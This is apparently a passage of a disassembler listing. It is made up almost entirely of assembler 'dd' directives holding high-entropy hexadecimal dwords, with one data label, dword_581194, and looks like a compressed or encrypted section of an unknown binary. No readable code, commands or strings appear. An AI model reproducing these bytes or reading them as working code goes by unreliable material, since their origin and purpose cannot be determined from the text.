0A0787832h, 4BF105C4h dd 11B0C843h, 8B0E2500h, 151DC310h, 636C00B3h, 0D0F298FAh dd 479F12Ch, 0C2DC8250h, 19708D12h, 501EC0D1h, 96D82731h dd 284A025Fh, 0FF908A05h, 368034F9h, 7CCF1FC4h, 0A04A0F69h dd 21005259h, 0FAB1D434h, 11ED4600h, 0DB43C6F5h, 54370B04h dd 5480B678h, 0D088C6Eh, 0ACB876E8h, 49FD20Bh, 6F0800F2h dd 288833AFh, 6DF96D3h, 7C19C38Bh, 0F00328C1h, 665E15A1h dd 8C359841h, 0C919FA5h, 443ED4E1h, 0F34E2E00h, 35691598h dd 74B28Dh, 0B96EEBA3h, 0C69B0668h, 14833600h, 0EA61BC0Eh dd 754B485Fh, 99760A00h, 0AE064163h, 345C6C92h, 0E188015Ah dd 25DF3C02h, 8E008832h, 70B88229h, 3E009310h, 36A6EA03h dd 39674E13h, 0A7001659h, 893CE70Ch, 35001E7Bh, 0F5B8B9CAh dd 664015h, 4CBFE514h, 0C634338Ah, 3E2081E7h, 0B8AA6417h dd 28B31080h, 4EF272EDh, 90BFF601h, 0AF463CA1h, 0B1F1218Ch dd 0F004CD39h, 41725FABh, 93168EC0h, 922F00E9h, 680E95A1h dd 60198943h, 0E389401Eh, 55C2E0h, 8778B303h, 987656E0h dd 0F25CA000h, 4C5D845Ah, 0A9363F40h, 0D815399Eh, 2FCE78B8h dd 0DDDB8C03h, 0B0C09716h, 0C03593Dh, 46116472h, 2D006561h dd 2E090CCBh, 7C7A30Fh, 253AD034h, 7DD72020h, 0C9C75E63h dd 9B503BFDh, 0CD738Ah, 932EB983h, 7784BD5Ch, 9AD5F900h dd 0FBA88EC7h, 2D3A0430h, 1C616C3h, 4944A633h, 0E6ADE30h dd 0A18C0F0Dh, 21C41626h, 5AB59B00h, 0D0C24ED1h, 3D3C0766h dd 91AC0127h, 8CCCDFCBh, 9183ABD9h, 59B20062h, 2D2A5B05h dd 972EB8Ah, 52F2BD0Ch, 396E032h, 0FCB14F56h, 0CDE0A987h dd 0B73AD5F5h, 0AB6A8022h, 3C562EC4h, 49120A38h, 80D490F7h dd 2ADE927Eh, 960028D8h, 314DC991h, 30938F16h, 4815D64h dd 1F056048h, 0B9434E83h, 593F9420h, 5D9C0013h, 9EECCD9Ah dd 38611519h, 6294F3C1h, 8E68D8h, 0C5B0556Dh, 0F02C5A84h dd 0F4B980EFh, 5D217489h dd 65A400B6h, 5348D5BDh, 0B000ECCBh, 4118593Ch, 1991686h dd 0DBB69212h, 80C8F7B9h, 7BF1CBC1h, 28A65E36h, 0C9C1B4h dd 0E5FD838Fh, 93060C01h, 9E19893Fh, 0D000A416h, 0FA38DA4Ah dd 0BFE0FB7Dh, 7C117CBCh, 5C95001Bh, 25E6272Fh, 4C030E8Eh dd 0B3C9703h, 0FFF158BFh, 28CDBE00h, 8BEE0FCFh, 818980EFh dd 5BDE3E82h, 4E4A00D4h, 6EE1BC31h, 6918C773h, 93F17F8Ah dd 5A2300E4h, 0AE558C3Fh, 8B017DE0h, 0F6FC9863h, 44F86704h dd 8EA8A169h, 313CE3D0h, 0B68117B9h, 6848FE46h, 9302E991h dd 96B3FF07h, 7AA8407Eh, 680407CBh, 151638EFh, 0F5A40318h dd 0A90093F7h, 6214C487h, 0CE82C9Dh, 0C95438A9h, 460AA150h dd 0B16F11D2h, 0C10F0B3Ch, 0C7700FEBh, 3180F210h, 3E02D6h dd 813A4A83h, 591104BEh, 68041DDh, 63FB644Dh, 0F1B1C0A9h dd 67D88131h, 9642DB06h, 24A83799h, 40FC11D0h, 0AA976393h dd 67391814h, 3850198h, 0E7F6B3A3h, 15848440h, 619300D8h dd 2321FB3Dh, 0F7C8A19h, 0B239730Eh, 3F981566h, 929228B1h dd 3F0318E4h, 7CCE9ED0h, 0F69F801Fh, 0AEB80F49h, 0C855963Ah dd 0A8431114h, 14C06E8Eh, 2A1A0DC0h, 0AE89601h, 36E7386Ch dd 3DF4F820h, 40098CDh, 4341CCA8h, 0B402EFF7h, 0BC395714h dd 5DD490ABh, 36E7BCBh, 257A9683h, 71006989h, 913E92E3h dd 3815819h, 3CD02614h, 7DB39EFCh, 82902088h, 158EEB09h dd 6A4208Bh, 36FC0B1h, 0B0E7F22Eh, 6950353Ah, 0DE4DB680h dd 4539022Ch, 4C573CA9h, 8C2012D0h, 0D4B9112Ah, 93B6007Dh dd 523EAC1Ah, 2F002534h, 0FFE41FFEh, 2A814FBh, 7C023D15h dd 9FD61926h, 98DC7409h, 0F81060h, 0FF6114D8h, 0F70A23B7h dd 0A200A8A4h, 1CC15EB5h, 40CE67h, 9DEFC85Fh, 633C5B71h dd 24E09904h, 0CCC84BAFh, 1EE49916h, 3D380029h, 98702A05h dd 0D4839401h, 0CB8A67EAh, 0D264F180h, 0E3EC62F6h, 0C0A44B00h dd 90596DFFh, 7820F32Eh, 0A9C364D4h, 432A800Ch, 48918145h dd 95463C24h, 0B7CB006Ch, 0F172F34h, 1F0E29ACh, 0AC3AAD81h dd 541171CAh, 7E9C5Dh, 0C4846834h, 0C1E79977h, 0C251C30Eh dd 16760143h, 84626588h, 51B874h, 0EF040B47h, 0BE9D5719h dd 91F40200h, 273ECEDFh, 133C982Ch, 4C331506h, 22CA2A30h dd 4C028900h, 67B3F1EFh, 0AF6E0084h, 6145FDEEh, 0AA0CF873h dd 995AF058h, 0F6920A43h, 1803C2Ah, 0F77BAD39h, 0D3C184CDh dd 3680AF97h, 0ED0820Ch, 0AA3E691Fh, 0B4C125C0h, 0B22CFE6Bh dd 476E945Dh, 0C6603A22h, 5FD0E6Dh, 62EB801Eh, 0A0748098h dd 3E05C0ADh, 0E85B2A59h, 688100C0h, 44B348CBh, 609F4A80h dd 9D3A95A0h, 0EC89075Fh, 43BC74Fh, 134041F8h, 8E56BE83h dd 375E0D00h, 0D7F14349h, 0F05C00AFh, 0CBC2478Ah, 0ED00CD98h dd 9535035h, 902AE13Dh, 2643F827h, 61406781h, 0E0D5ED79h dd 45023AB1h, 0A87CBC0Bh, 0A98642Fh, 0A78A0208h, 0F600BB8Ch dd 0C9E49FEAh, 503C2A52h, 84252928h, 843C2C80h, 1847B0h dd 773A599Ch, 46BDDE97h, 3126853Ch, 638AF1C5h, 4DCF1E8h dd 0E093C48Ch, 9D18C29Bh, 47F260C0h, 9F150200h, 4BE10BAFh dd 12F8B076h, 263F390Dh, 7230D0E4h, 70491111h, 732E300Fh dd 59A8F548h, 24CC694Dh, 32401816h, 0EA0D984h, 0E9058B13h dd 0B3115FC0h, 872C1FFDh, 0B8A46C2Fh, 59D4B807h, 0C740A2D0h dd 0D4F25C86h, 1096D580h, 0DF00647h, 31F72748h, 1ACA615Eh dd 88F04430h, 0D2F2519Fh, 3C8BC02Eh, 0B5CF4C40h, 86EA12h dd 5523E09Eh, 3BA1717Ah, 0EF393A60h, 70F89DEh, 6E31D638h dd 1E631014h, 4924B171h, 0A8B38497h, 4888DD61h, 74690F8Fh dd 4E405994h, 0A8AD7F15h, 2C223B1Eh, 0DC8E0E00h, 2EFF0138h dd 77475B1h, 320819D9h, 0CCC4F758h, 7342961Dh, 1304FDB9h dd 453CB72Eh, 7D2090C8h, 37560061h, 2496A022h, 0CE663A60h dd 6A44B9h, 19EA0982h, 36962BD7h, 0D9AD7E00h, 0A1784C05h dd 0EDC70A8Eh, 119C8AC0h, 0F138005Dh, 7FF08DEEh, 0A3950093h dd 0A853DA89h, 4400F203h, 0B7F79AD1h, 99D8C8F3h, 353906ACh dd 3877B9AFh, 0B00C3624h, 598D5C0Ch, 0BC5654F0h, 7197780h dd 110FD2D9h, 0A665C0A5h, 430B6712h, 0F56F03h, 0F098D7E8h dd 90EF5863h, 0DD92FC3Fh, 308C138Ch, 9B92B3FCh, 171F5901h dd 0DBBE4ECDh, 1E04F020h, 0AC73F30Fh, 0A08500C4h, 0A529955Ch dd 44C01096h, 0DB8F43h, 64C5C37h, 0F0187CA5h, 2A00F491h dd 2B3ED6F6h, 1CF7483Ch, 80935580h, 5F007245h, 0A528495Ah dd 1AEF8ECh, 2019C8ADh, 0E00DE392h, 761E9BF9h, 3E014150h dd 714E44D7h, 303A2FD4h, 0CB89A490h, 0DCA8F1C9h, 90B12B39h dd 0D380B391h, 0BC745C93h, 0FADDE700h, 756401D7h, 82AD046Ch dd 88DBCB81h, 3F1F6078h, 0DCE8E0F1h, 0C101A00h, 27EDB3D0h dd 47A20059h, 5B6D6EC5h, 3C18A369h, 0B679B444h, 3A4B0C03h dd 9489D997h, 5F63CE00h, 0C3C4E979h, 1107759h, 75892917h dd 0F03A46BAh, 0AC59B913h, 8AE180F0h, 4A8F1EDEh, 49C82036h dd 4D133B39h, 840A4587h, 8402D462h, 44155208h, 0C6310028h dd 0E6858B6Eh, 0DAE725D8h, 0D0030CC4h, 1BD492D1h, 0C8DAFB45h dd 0F63F57B0h, 0E76C00DDh, 0FB93F5D6h, 0D0F1A59h, 72473CB8h dd 9F090C1Fh, 0F270A378h, 4511DBAh, 99148FB3h, 2919D382h dd 2681840h, 1741F39h, 18FF1C9Ah, 0C242C11h, 10311CC3h dd 2A00BD8Ah, 721C6D45h, 0AB30B3A1h, 0DC2D08Fh, 0A4365023h dd 0D30388C6h, 0FD451016h, 98A4EC0Bh, 2C78E0h, 4EEA0B5Eh dd 7F2A4BCDh, 26AD7CEBh, 0DB60ECD1h, 2C60F2h, 0DF089742h dd 3207F47Dh, 0DA63B200h, 77F91259h, 5464E4C9h, 69B816h dd 197AB07Eh, 0FD4D917Ch, 88769E00h, 113127CFh, 36212445h dd 0AC02009Ch, 3CA6297Eh, 418EB832h, 70052F0h, 78E1DD44h dd 10FAA0B2h, 52005628h, 46DA17AEh, 1F39AE0h, 4CB48BCh dd 39112483h, 5AAA00D4h, 0EAB889Bh, 673712C4h, 404C1C7Ah dd 3F59BE44h, 0AD00C0BCh, 0C938E399h, 24297CC8h, 0E7C4AFEh dd 299E6697h, 0F1F600A4h, 2B591D44h, 0BB0E8D09h, 0C9C4806Ah dd 26C9BA1h, 6246A08Eh, 0A8E4C2C8h, 0CF791002h, 2F2A327Ah dd 0E11DEC94h, 0CD250536h, 4A6482A4h, 0C78F5865h, 0AB84DE61h dd 0A6808360h, 0D808C9h, 652122D5h, 0E8EFAEC7h, 9E002C90h dd 520A2319h, 473A8Bh, 30593D62h, 43886BAAh, 86845C48h dd 0F08913B6h, 0FC3A488Ch, 0C95EF0C2h, 0D0127B00h, 23B700DAh dd 0A6968C2Eh, 0C04E10Dh, 0A902CE2Ah, 90E960C0h, 41826164h dd 0FCC4ED20h, 3007CBAh, 549D4CF9h, 748D9997h, 981D13C1h dd 27A40436h, 3395455Bh, 0B81E88Ch, 7DD58AA0h, 0B5BA8081h dd 0E5A8D90Fh, 6631814Eh, 76CCD75Bh, 2E38C420h, 1D7045A3h dd 0EF0C4043h, 39E587B3h, 1174C4A0h, 9EBA34A0h, 0DC221600h dd 939B09Bh, 9820F54Ah, 7B4E30C1h, 9C279930h, 2D6E4313h dd 1DA1C888h, 40094F6Ah, 0DF89F905h, 0CF0CFB1Dh, 0B9A48AB9h dd 31EB1DC0h, 240E80C2h, 0D0396532h, 0B8408B4Eh, 0BD626C47h dd 15050273h, 0A71FEA7Bh, 138941C0h, 17EE3E01h, 9FA33FABh dd 0F0A480F2h, 0A0984744h, 4C0F0E84h, 0DA80D415h, 8A489CC0h dd 3639D924h, 313EA90Bh, 8203D4Ch, 0E88A58F9h, 57EBA283h dd 62FA22A0h, 375A1378h, 43315020h, 82D90E46h, 7800B798h dd 4D5CA1ADh, 32553904h dd 0C852A734h, 30E1740h, 6912A5ADh, 8A8CE889h, 9B500267h dd 6EFBA797h, 26D3B080h, 714F4381h, 35A40827h, 3CB360C0h dd 19DA645Eh, 4DB4C8F0h, 848F6200h, 0ECE9C85Dh, 0FE730020h dd 0F471DC3Dh, 893A7703h, 181F8023h, 76CBD05Ch, 0D8FE581Bh dd 7FF6F301h, 80AB7043h, 0A6EE3F59h, 543DA9D5h, 1383945Fh dd 1200280h, 64942B8h, 0D526DD89h, 803C3C52h, 47A9E5A5h dd 92A00734h, 503FB1D2h, 3784EC57h, 6B483316h, 71ED8C00h dd 23EC41Ch, 86271065h, 0FC60EAFBh, 8E407B0Dh, 9871149Eh dd 8B80E43Ah, 0D7F98524h, 0C7CBE113h, 727B1820h, 406E4F11h dd 0E694B028h, 1BF8E72Dh, 8B00087Fh, 1EA05FB7h, 7BF55DA7h dd 0B0B27107h, 3A2A02F5h, 463C9245h, 0F12AA464h, 990FACBEh dd 40D74383h, 6B1AF7FDh, 39EE00CDh, 653445A1h, 0BE26F89Ah dd 0A23848E7h, 0C8740C12h, 0EAA1DDC7h, 3A397313h, 949FB490h dd 7E2D14A3h, 997EC7B1h, 92778074h, 57FBE093h, 457FBB02h dd 804C46ADh, 1B26F6D4h, 0D15B0049h, 8680784Eh, 90A4C1CBh dd 0FA624301h, 3FDC4FE2h, 134289DCh, 0B69C720h, 2C8507E0h dd 61D8C0A9h, 0ECA84811h, 2F00CFB1h, 0C7EDDB94h, 2094483h dd 0B0A95EA3h, 0E2205589h, 16999C5h, 7C760FF5h, 0C45B2206h dd 63306581h, 0F9E5C1E4h, 4B100DFh, 15C13A5Fh, 8F0E845Eh dd 277BE3BFh, 91D37DA2h, 0A3104B5h, 0C011F8EEh, 8CE567F9h dd 72278302h, 521580FCh, 0FAB51EECh, 0D616827Bh, 0CB40C88Dh dd 9A007A5Ch, 73C6BAE6h, 2C928167h, 4080F70Ch, 0F1F58FC1h dd 0C7AF8701h, 5A254914h, 24C0B07Bh, 3ACD70FDh, 8453384Ah dd 72FA8405h, 84312C95h, 0FB00E3E1h, 0A8747B05h, 5295ED24h dd 1001273Ah, 0F4470980h, 56FD0006h, 44E969C0h, 0C00074Fh dd 0A2A19F87h, 0FD0F428h, 8CAEF259h, 0B2EAA5C4h, 0E2470070h dd 261DE9A3h, 978707Ah, 46EF9862h, 205D0484h, 3EE08696h dd 44112393h, 24F12887h, 8235EE00h, 1C7D3C15h, 0A28C046Fh dd 8050A8B0h, 94D79ADCh, 2CA9EA09h, 3C98216Bh, 2444825Fh dd 5CD088h, 0CE8AA0Bh, 0D462309Fh, 0C004527Fh, 0DD3A243Eh dd 24A138A4h, 8174DF3Bh, 257AA992h, 0CE0DCC99h, 0C574FF04h dd 58F464CAh, 8EC0042h, 0F86F8ECDh, 721F79DCh, 8F40663Ah dd 98193E5Bh, 804CBC15h, 24C59F2Dh, 2E004AB7h, 7240EC7Fh dd 3C74D662h, 3E0A7085h, 13CC0227h, 0B3542059h, 0A1245391h dd 0A2005226h, 8A20D59Bh, 0CD0E26F1h, 0C05464C8h, 0D7EEBB3Fh dd 0B082A04h, 0B4801A8Ah, 0E97B5185h, 7791F4h, 387210F4h dd 1E2A132Bh, 25B51C05h, 40B229DCh, 0BA288200h, 0E0DE2C55h dd 5EC52E02h, 92FD5F43h, 994C90ACh, 9C050E4Eh, 0F84093F2h dd 726C4D07h, 920CE4EAh, 0A14711C9h, 0EA37008Ch, 0B686F76Eh dd 27090B23h, 483A8EC8h, 68B3BCh, 358CEB9Eh, 3F01A1D5h dd 742CC37Bh, 0AE41A48Ah, 0BBD8FC8Fh, 23C10047h, 4975D72Fh dd 2B3A983Eh, 29C52A8h, 3B0F95A1h, 0F6E4C43Ah, 7C83007Eh dd 817E5A0h, 177BF57h, 0FC787502h, 0E1EE2EC1h, 0E6CAFBCCh dd 8D0D1C1Ch, 4B15C794h, 7CC200EAh, 0B20E7024h, 2BAD84F9h dd 2C68C4DAh, 11907C8h, 0F50D5E39h, 0E2C02178h, 0A124B622h dd 993A9B50h, 9A054078h, 8218AA0Ah, 0DCE0FB14h, 51F123Ch dd 0EAC1EDD7h, 0BFB9436Bh, 79382442h, 0E1CC186Ch, 61011C8Fh dd 93BEFE05h, 0D2700E70h, 99300E38h, 7AA4C006h, 37588262h dd 8A8C1060h, 7700DCB1h, 0A088BECFh, 0F7AA2D4Ch, 7C801CAEh dd 71B32DE8h, 0E5811501h, 0D940533Bh, 9272420h, 0F77545ABh dd 0F637B410h, 675C191Ch, 0BB229683h, 0CB1AE1DBh, 0F453DCD1h dd 0E214E2D6h, 4F306439h, 37A01260h, 4FCD0054h, 4A192718h dd 0AF198CAAh, 17EEEE0h, 2F3C5270h, 30285496h, 8488553Ch dd 0F62270ECh, 36A03D46h, 2C85913h, 197CAD84h, 0E6006859h dd 0A24F25B0h, 5E960045h, 0CD67F06h, 754C46A0h, 9DAB1F6Ch dd 92128B80h, 0BA73AB2h, 0D43003AFh, 21E0EC0Eh, 0AB112488h dd 63A11067h, 32014540h, 0D4AD0E97h, 0AA015966h, 0EF77935Bh dd 433CBFF0h, 126334BCh, 36888127h, 3FC20h, 0A093EA08h dd 7CD79BE1h, 0B9B71C00h, 3F7B29F0h, 11BD01D3h, 3ADEA645h dd 2C5C3303h, 3B403016h, 7F0E2EBEh, 0C4180172h, 0F9096E73h dd 0A45D71ECh, 0F042B47Eh, 4FE8207Ch, 8300552Ah, 6CB20711h dd 7912EE3h, 155B9996h, 0D1472B0h, 0A47A9062h, 56F16000h dd 900E62C4h, 15DD0085h, 72A683Fh, 452506A3h, 6F888067h dd 4EDCEC0h, 0DDA99E44h, 6EE888F0h, 70170800h, 0C1372C49h dd 72FB002Ah, 0E3F813A0h, 42803A9h, 0B401C844h, 604A7AC4h dd 7171615Bh, 0A1C0DF21h, 0D1F0A2F3h, 0C22C002Ch, 89AC9175h dd 0AE9B8C00h, 74933F0Ch, 2E1F1472h, 0A700E811h, 31BB275Ch dd 0B8B932E9h, 8081D08Bh, 5CE2EE03h, 758C009Ch, 0E13654F2h dd 6800A0D3h, 90347B50h, 0FCAE4573h, 773B0BEAh, 98C96493h dd 996CC010h, 3456D100h, 0D65E30Ah, 1D43B811h, 5731B7B1h dd 0E1D70292h, 3454393Ah, 0D7530A40h, 24D201CCh, 127727Ch dd 0C0512039h, 0D08AE22Ch, 88446043h, 7833B30h, 0E79C14A4h dd 235E0F8h, 5A0E8B73h, 65B3E638h, 34F23FA3h, 2D10AC00h dd 0EA962090h, 970077E2h, 0BEB402E5h, 0C3E0BDEh, 0BAF76B58h dd 80003769h, 0A1F5AAA4h, 18E4C8Ah, 0E8277B93h, 0EEC02FA0h dd 2105684Ch, 0AC425C7h, 9F893CC0h, 0B842491Eh, 20BD8D00h dd 9B9E5162h, 828F923Bh, 0D995B690h, 3AED6171h, 27809068h dd 0CB424465h, 0BBC0EC0Eh, 918380C8h, 0EF1E06h, 5F8404Fh dd 0D4C6FF77h, 7AF042h, 1C83F2DFh, 574B99B6h, 7BA3400Bh dd 0E5188084h, 6E277DDh, 64C694C3h, 7900B99Bh, 3AC5074Dh dd 2430A7AAh, 0FCE3AFh, 23E67C8Ch, 0F82F777Fh, 0B8841064h dd 96200AEh, 0A531632Ah, 1002EE36h, 28E5F392h, 5BDC8070h dd 58356Ch, 0A0988C07h, 0E68808Ah, 3E71B600h, 27D0444Ah dd 2ADB00A3h, 0AFB2AC0Dh, 3924F6FBh, 29449096h, 0F700B4A2h dd 7CBD1ECCh, 0F02640CDh, 0D804AC73h, 9209BFA8h, 32DA9490h dd 6F839509h, 381680F6h, 9964370Bh, 354D0054h, 0D3039BB2h dd 3D75EB00h, 46DDC7EEh, 0BD370301h, 0A4163876h, 3A2B27E0h dd 4A0E2D03h, 58B73F39h, 0C7226C99h, 80B4123Eh, 1C7B4413h dd 0D5D41Fh, 0E9A0A849h, 55842711h, 7D9BC31Eh, 4972F90h dd 8004C8DCh, 0DB2427E4h, 2E4C1858h, 0AA2850F8h, 5610A817h dd 8024EC27h, 8190E424h, 4D9A3Fh, 0B3A8B57Ah, 1474B7EDh dd 0B35935F7h, 3A90C904h, 0EC68892Bh, 0B6017507h, 0C2F5B44h dd 0E08693A1h, 0D1CD3BBFh, 32C01700h, 7C4BBBE1h, 0B0D700BEh dd 92636FB3h, 792E09B4h, 9C0FAC31h, 7CC6C71Ch, 1523BFC0h dd 6C60E39Fh, 0E2B8811h, 809C78F1h, 1E37857Bh, 4C34B865h dd 3B2D5F18h, 0B5AC9CA0h, 8B74A509h, 0E95D0370h, 0C3EE0008h dd 0C11AD81h, 44B890B6h, 0FE1439B4h, 2D40677h, 2CA87530h dd 9E98A157h, 10109B65h, 3A00197Eh, 0C380780h, 5C3048h dd 0FB74BFF4h, 0A9CBA428h, 21A4601h, 0B8E35133h, 9D04003Ch dd 878F4541h, 2EA916C0h, 981A0C0Ch, 0AE9092h, 39AA69B3h dd 0FB3D7B49h, 90AEB3Ah, 0E4B8CFE1h, 73C50040h, 879B141Ch dd 0DA007EF0h, 0CC0C990Bh, 0F465A656h, 1FAC923Ch, 4052751Bh dd 8F550881h, 2A01EFE4h dword_581194 dd 0E2B065C8h, 38689220h, 9BA5D280h, 56009501h, 776F0A10h dd 78711AF5h, 0B44B25BEh, 115D6461h, 0F1202319h, 3ACDF8B0h dd 0C78106EDh, 95D73DA5h, 0BD44202Ch, 0CB36AC09h, 1B05AB3h dd 0DCE77973h, 2881FBB5h, 133E8058h, 2CF7B21Eh, 2C0EFA01h dd 0E9080010h, 69CD872Eh, 0CA46F14h, 484625CCh, 4026B8h dd 6297073Ch, 74D71E3Fh, 18FBA813h, 14D02000h, 4F1216Bh dd 0C88A893Ch, 821088C0h, 0CEBCC0Ch, 20B041h, 0D89F7A47h dd 0DFCB57F9h, 390580B1h, 34B4ACDDh, 4FC5AF7h, 0C01AB108h dd 6EBD5CD9h, 217B0627h, 0DBC860A0h, 800BF039h, 44E8114Dh dd 3F00916Eh, 0B30CC157h, 79FB8351h, 63E2271Dh, 3ECC7C20h dd 2C00C87Bh, 0A8EE819Eh, 150666Eh, 0DAF815D8h, 70404C01h dd 0BF887CD4h, 50E300B6h, 0DAE97FA2h, 3600D99Ah, 0D5ED0D10h dd 17963AAh, 9D5F7868h, 2C39FB85h, 9ED480A4h, 0D50D51h dd 0BE2D760Ah, 50C1D146h, 0D2B61202h, 0F210B5F2h, 30109D70h dd 0B000608Ch, 690BF945h, 487A8346h, 746403h, 0D15D876Eh dd 3C78CCB8h, 823395Fh, 0CDADA0F4h, 0F5050167h, 0CB1F4AF8h dd 619849C1h, 84E46074h, 0A9A7105h, 0A4B2E00Eh, 30024800h dd 3458EAEDh, 8E44B207h, 0BEE0A7DFh, 9D93E0C3h, 0FF255890h dd 1A694400h, 0D359825Eh, 703E0061h, 8DA0201Ch, 98009B73h dd 570AF05Ch, 0B411C2D5h, 0FE2680FCh, 7677A85Eh, 5200C3E4h dd 19E924E5h, 2E7A55AEh, 643460BCh, 4E91804Fh, 893EA613h dd 3A419D06h, 8405B82Ch, 88C824AFh, 80A0963Bh, 55301B7Fh dd 240FCACDh, 0C7E2698Dh, 8192F8D7h, 0A6ACE1AAh, 0F7D035C1h dd 0BC016E3h, 305CC853h, 84E8BD04h, 80C2AA50h, 0BC1CC094h dd 40B0BC3Ah, 6945A33Eh, 0C996A4A0h, 1D5A1122h, 429BCCF9h dd 1CD76B80h, 946930E0h, 0BFE7B307h, 6845F873h, 0F8318833h dd 0EBA729h, 4C6CFDAAh, 92D936F9h, 18B64801h, 8F5EAF13h dd 26705DC1h, 443D0022h, 0EC5FB7F4h, 58000848h, 0D817E710h dd 1D9A6807h, 0BC9F4E5Ch, 1F77A73Eh, 805DF67Ch, 5B913F52h dd 7575F429h, 6F02B706h, 128C932h, 23B84F17h, 0E0784D09h dd 0F60020BEh, 9354403Fh, 1D86B11Ah, 0E26AA9h, 0A671B008h dd 0A5002AA2h, 0B1C5E627h, 0F007A73Bh, 8F510E5Ch, 6F03DA30h dd 6114120Fh, 0D9D0D03h, 0B0FE9856h, 77EA4F0h, 0DADE82A5h dd 65F6E08Dh, 50073FBh, 0D606E784h, 3F7940h, 0DCC89A09h dd 7166B7CEh, 0BDEF0B00h, 86A86AA2h, 338C01E9h, 7DD63DC4h dd 0C9718E17h, 9969588Eh, 24F80062h, 0F196FCBAh, 0E0784383h dd 0CC15483Eh, 98A87A50h, 800EC4C0h, 0A089D537h, 0FC5DFAE2h dd 0BA2C0ECEh, 498A751Fh, 5AF8060h, 83A2A9A8h, 8EB78C13h dd 1C91A006h, 0FD9F3021h, 332F7B59h, 0E900DAF4h, 557CDB2Ah dd 0EED30B02h, 31D46298h, 21C00122h, 0AC008614h, 18FE505Eh dd 4D83BEh, 0F0959ADBh, 0A51BA399h, 39002BF8h, 0BF91B19Ch dd 3008C9F4h, 3A71F09Fh, 0DE3B17DAh, 0B805B859h, 0CA22017Ah dd 0F239C882h, 5158D610h, 75B1A802h, 8EEBEC49h, 7AD702E0h dd 88A4A1C8h, 6C10E099h, 0D11E5540h, 2D81FFDAh, 0E660810h dd 30AC4024h, 8481FA6Bh, 7D061BEFh, 3D6EFFB7h, 0FB310E41h dd 49C075FDh, 0C03B21Ah, 0A7BC100h, 5F186B8h, 0BD6C1F3Fh dd 6E10C648h, 52003938h, 0EFF8D65h, 7D5FDAD9h, 95F21E06h dd 0A985033Ch, 79000380h, 8A986E0Ah, 3F33369h, 6FED73BBh dd 51E23F6Ch, 0B7F8E960h, 7E1FA61Dh, 3873B9F0h, 3C4008Bh dd 90D64A8Eh, 0A6EA0807h, 0E5421C9h, 68801E44h, 13F666A5h dd 122F0055h, 35D4BB8Eh, 0FD033F2Dh, 7F69B550h, 0E839078Ah dd 10900BE2h, 0EEAE3C0Ch, 721DFD00h, 78A28581h, 0A8DD0433h dd 8860B7ABh, 7D30C7D8h, 0BBCC41B8h, 437008Ch, 84DA89EDh dd 7E508241h, 0F828F410h, 0BC008F2Ch, 43AE8F53h, 14AF5A3Fh dd 447E8EB6h, 3DE2FA00h, 0F581FCF4h, 12724201h, 0A170391Eh dd 0AD6CD4h, 76D1D260h, 0B3B82F4h, 0E1500C90h, 2D734194h dd 128D0909h, 4004106Eh, 0B8E8001Bh, 0C9F9AEE2h, 4504E707h dd 69540509h, 0D81E71C5h, 4831E558h, 0BC0B1FFCh, 8B58C45Eh dd 0C41C8285h, 56812620h, 80E2E56Fh, 444B51B0h, 0B0D3005Dh dd 0C539DDFh, 4892110Fh, 60848E03h, 9034BAF3h, 62AF469h dd 3AC8B81Ah, 49071EBh, 383A1142h, 7EE06A44h, 5B117B60h dd 0E8F106h, 4097028Bh, 3A9E99B1h, 0DED91600h, 8857CD22h dd 648E54C8h, 0EA870A21h, 80248F32h, 4F18D792h, 460035D9h dd 4A5140A1h, 9F2859h, 0D594A380h, 2299FF8Fh, 6E0D88h dd 850E4104h, 0ED91063Ch, 9448D60h, 179F111h, 69025D16h dd 80AB6B08h, 0E28EAC69h, 2FD472Dh, 8426D560h, 73C0EED3h dd 91000E1Fh, 5E7318C2h, 79B1B7D4h, 5F9A0713h, 2A32106Dh dd 0C7EC8088h, 0EDC3F272h, 980F3426h, 0C5935040h, 5362025Dh dd 99F805DCh, 81007464h, 31941FA8h, 1DFC8698h, 91243767h dd 7FEA00D7h, 49A6F0C2h, 0CD05042Ch, 0C08175D3h, 0CF13FF70h dd 0A8920F72h, 0A36EECE5h, 337C3B00h, 75C6B188h, 265F1E0Eh dd 7837C094h, 0F9E17A1Ah, 0FE181572h, 0C469D66Eh, 97898h dd 0A0DAF56Bh, 533D9A6h, 3057160Ah, 478394A1h, 0A00C6521h dd 4FDF79h, 0ECB607A4h, 7BD72604h, 4747448h, 548B7F9h dd 5480BC94h, 0C9F62F1h, 0EF800686h, 0CB035519h, 0E330DDFBh dd 0C8B7D816h, 0A769C92Bh, 26B47408h, 3849138Ah, 3898AA84h dd 27358E01h, 0D31BC48Fh, 36D2ECh, 7A077F4Dh, 72215904h dd 0B2136C18h, 1E970350h, 0DCB0C7h, 58E2865h, 6054CD4Dh dd 0C600314Ch, 5040EB67h, 7A4487h, 424C6205h, 71543EC2h dd 8D09B4E6h, 831A132Fh, 189E665Eh, 0C1236EA1h, 771FF45h dd 4EEE5503h, 0D86D6AF3h, 9C80EE6h, 69625941h, 0C7393B80h dd 0F6009665h, 11B625B3h, 0B8502108h, 0A0CA1E48h, 219113CFh dd 4873AC98h, 0B000AAACh, 0FA40473Eh, 2C97F0A9h, 0F483A7Dh dd 0E780E178h, 8F11364h, 48F91900h, 0A1FFAE10h, 3ACF3ABBh dd 97D6A9E1h, 5D5424E5h, 2F674F00h, 0FE902271h, 7C6E0E66h dd 9FA63D52h, 72C07904h, 1FFA80D6h, 763FFC9Ah, 3E2CB8CAh dd 6E98F250h, 0B630B1CDh, 32C8B9C0h, 7D6B26h, 84259D23h dd 30A70C55h, 5D76C01h, 9E8CA624h, 44329F42h, 2F472668h dd 0F21F00CBh, 0AEE08610h, 77DC3901h, 870E8E46h, 26573470h dd 3F902E42h, 0EF8855B3h, 0C9E86AE3h, 5801F134h, 0C56653B6h dd 38601836h, 0D7F515E0h, 9C007C85h, 199DCBA6h, 5C17B71Eh dd 5C208004h, 402A69h, 92738123h, 0D1762615h, 88FDEC00h dd 38878391h, 456700F1h, 2F48EF51h, 718CEA0h, 2761DD32h dd 3807695h, 0C074AECFh, 0DBC1E57Ch, 3F7D00E6h, 0E8E90052h dd 0A2E03534h, 22006E6Fh, 1768139Ch, 331F9F6h, 54FF9A28h dd 99001980h, 0B978C0Dh, 156377h, 5EC7938Dh, 86355468h dd 0CFD57A0Bh, 81489A26h, 2C980168h, 7A898C40h, 0C0BB0037h dd 93263F48h, 6F7B58ECh, 8B0B14B0h, 107F4BE7h, 750D59E4h dd 0E1983A9Bh, 15D93083h, 0E100DE32h, 7E589E14h, 1FBAA81h dd 0F40847C2h, 0EEB7A655h, 5EF4AC44h, 7DA6B899h, 110F303Fh dd 0EEE6DC37h, 0F1F20949h, 0E003DF5Dh, 